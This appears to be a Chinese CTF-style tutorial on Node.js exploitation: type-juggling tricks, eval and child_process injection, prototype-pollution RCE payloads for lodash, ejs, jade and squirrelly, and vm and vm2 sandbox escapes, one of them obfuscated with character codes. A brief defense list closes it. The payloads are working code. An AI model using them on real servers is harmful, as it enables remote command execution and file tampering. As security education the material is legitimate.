浅析NodeJS
字数 652 2025-08-26 22:11:40

NodeJS安全漏洞分析与利用指南

一、NodeJS基础特性

1. 大小写转换特性

  • toUpperCase()特殊转换:
    "ı".toUpperCase() == 'I'
    "ſ".toUpperCase() == 'S'
    
  • toLowerCase()特殊转换:
    "KK".toLowerCase() == 'k'
    

2. 弱类型比较

  • 数字与字符串比较:
    1 == '1' // true
    111 > '3' // true
    '111' > '3' // false (字符串比较第一个ASCII码)
    
  • 数组比较:
    [6,2] > [5] // true (比较第一个元素)
    [100,2] < 'test' // true (数组永远比非数值型字符串小)
    
  • 特殊值比较:
    null == undefined // true
    NaN == NaN // false
    

3. 变量拼接特性

  • 数字与数组拼接:
    5 + [6,6] // "56,6"
    "5" + ["6","6"] // "56,6"
    

4. ES6模板字符串

  • 反引号执行函数:
    var yake = "daigua";
    console.log`hello${yake}world`; // 参数作为数组传入
    

二、代码注入漏洞(SSJI)

1. 危险函数利用

eval()函数

app.get('/',function(req,res){
  res.send(eval(req.query.a)); // 直接执行用户输入
})

process模块命令执行

// 多种执行方式
require('child_process').exec('calc');
require('child_process').execFile("calc",{shell:true});
require('child_process').fork("./hacker.js");
require('child_process').spawn("calc",{shell:true});

// 无require时的替代方案
global.process.mainModule.constructor._load('child_process').exec('calc')

定时器函数

setTimeout(()=>{ console.log("恶意代码") },2000);
setInterval(()=>{ console.log("恶意代码") },2000);

Function构造函数

Function("console.log('Hacked')")();

2. 文件操作

// 文件读取
res.end(require('fs').readdirSync('.').toString())

// 文件写入
res.end(require('fs').writeFileSync('./daigua.txt','内容').toString());

// 文件删除
res.end(require('fs').rmdirSync('./daigua').toString());

三、原型链污染

1. 基本原理

object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
object2 = {"c":1, "d":2};
console.log(object2.foo); // "Hello World"

2. 常见污染点

  • merge/clone/copy操作:
function merge(target, source) {
  for (let key in source) {
    if (key in source && key in target) {
      merge(target[key], source[key])
    } else {
      target[key] = source[key] // 污染点
    }
  }
}

3. 模块特定污染

lodash模块

{
  "__proto__": {
    "sourceURL": "\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')\n//"
  }
}

ejs模板引擎

// 污染outputFunctionName
{
  "__proto__": {
    "outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"
  }
}

// 污染escapeFunction
{
  "__proto__": {
    "__proto__": {
      "client":true,
      "escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');"
    }
  }
}

jade模板引擎

{
  "__proto__": {
    "__proto__": {
      "type":"Code",
      "compileDebug":true,
      "self":true,
      "line":"0,return global.process.mainModule.constructor._load('child_process').execSync('dir')"
    }
  }
}

squirrelly模板引擎

/?defaultFilter=e')); 
let require = global.require || global.process.mainModule.constructor._load; 
require('child_process').exec('dir'); //

四、VM沙箱逃逸

1. 基本逃逸方法

const vm = require("vm");
const env = vm.runInNewContext("this.constructor.constructor('return this.process.env')()");
console.log(env);

2. 完整RCE示例

const vm = require("vm");
const xyz = vm.runInNewContext(`
  const process = this.constructor.constructor('return this.process')();
  process.mainModule.require('child_process').execSync('dir').toString()
`);
console.log(xyz);

3. vm2沙箱逃逸

(function (){
  TypeError[`${`${`prototyp`}e`}`][`get_proces`+`s`] = f=>f[`${`${`constructo`}r`}`](`return this.proces`+`s`)();
  try{
    Object.preventExtensions(Buffer.from(``)).a = 1;
  }catch(e){
    return e[`${`${`get_proces`}s`}`]()[`mainModule`][`${`${`requir`}e`}`](`child_proces`+`s`)[`exe`+`cSync`](`whoami`).toString();
  }
})()

五、实战利用案例

1. 大小写特性绕过

// 题目代码
name!=='CTFSHOW' && item.username === name.toUpperCase()

// 利用方法
使用"ctfſhow"作为用户名转换为"CTFSHOW"

2. 变量拼接绕过MD5验证

// 题目代码
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag))

// 利用方法
/?a[x]=1&b[x]=2  // 对象与字符串拼接会忽略对象内容

3. 同名参数绕过逗号过滤

// 题目代码
if(req.url.match(/8c|2c|\,/ig)){ res.end('where is flag :)'); }

// 利用方法
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

4. 原型链污染实例

// 污染Object原型使条件成立
{
  "__proto__": {
    "ctfshow": "36dboy"
  }
}

5. 沙箱逃逸综合利用

(Math=> 
  (Math=Math.constructor, 
   Math.constructor(
     Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
     99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
     46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
     95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
     121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
  ))(Math+1)

六、防御措施

  1. 避免使用eval、Function等动态执行函数
  2. 使用JSON.parse替代eval解析JSON
  3. 对用户输入进行严格验证和过滤
  4. 使用Object.freeze冻结关键对象
  5. 保持NodeJS和依赖库的最新版本
  6. 对merge/clone/copy操作进行原型污染检查
  7. 使用安全的模板引擎配置

参考资源

  1. JavaScript大小写特性
  2. JavaScript原型链污染攻击
  3. vm2沙箱逃逸分析
  4. NodeJS安全最佳实践
NodeJS安全漏洞分析与利用指南 一、NodeJS基础特性 1. 大小写转换特性 toUpperCase() 特殊转换: toLowerCase() 特殊转换: 2. 弱类型比较 数字与字符串比较: 数组比较: 特殊值比较: 3. 变量拼接特性 数字与数组拼接: 4. ES6模板字符串 反引号执行函数: 二、代码注入漏洞(SSJI) 1. 危险函数利用 eval()函数 process模块命令执行 定时器函数 Function构造函数 2. 文件操作 三、原型链污染 1. 基本原理 2. 常见污染点 merge/clone/copy操作: 3. 模块特定污染 lodash模块 ejs模板引擎 jade模板引擎 squirrelly模板引擎 四、VM沙箱逃逸 1. 基本逃逸方法 2. 完整RCE示例 3. vm2沙箱逃逸 五、实战利用案例 1. 大小写特性绕过 2. 变量拼接绕过MD5验证 3. 同名参数绕过逗号过滤 4. 原型链污染实例 5. 沙箱逃逸综合利用 六、防御措施 避免使用eval、Function等动态执行函数 使用JSON.parse替代eval解析JSON 对用户输入进行严格验证和过滤 使用Object.freeze冻结关键对象 保持NodeJS和依赖库的最新版本 对merge/clone/copy操作进行原型污染检查 使用安全的模板引擎配置 参考资源 JavaScript大小写特性 JavaScript原型链污染攻击 vm2沙箱逃逸分析 NodeJS安全最佳实践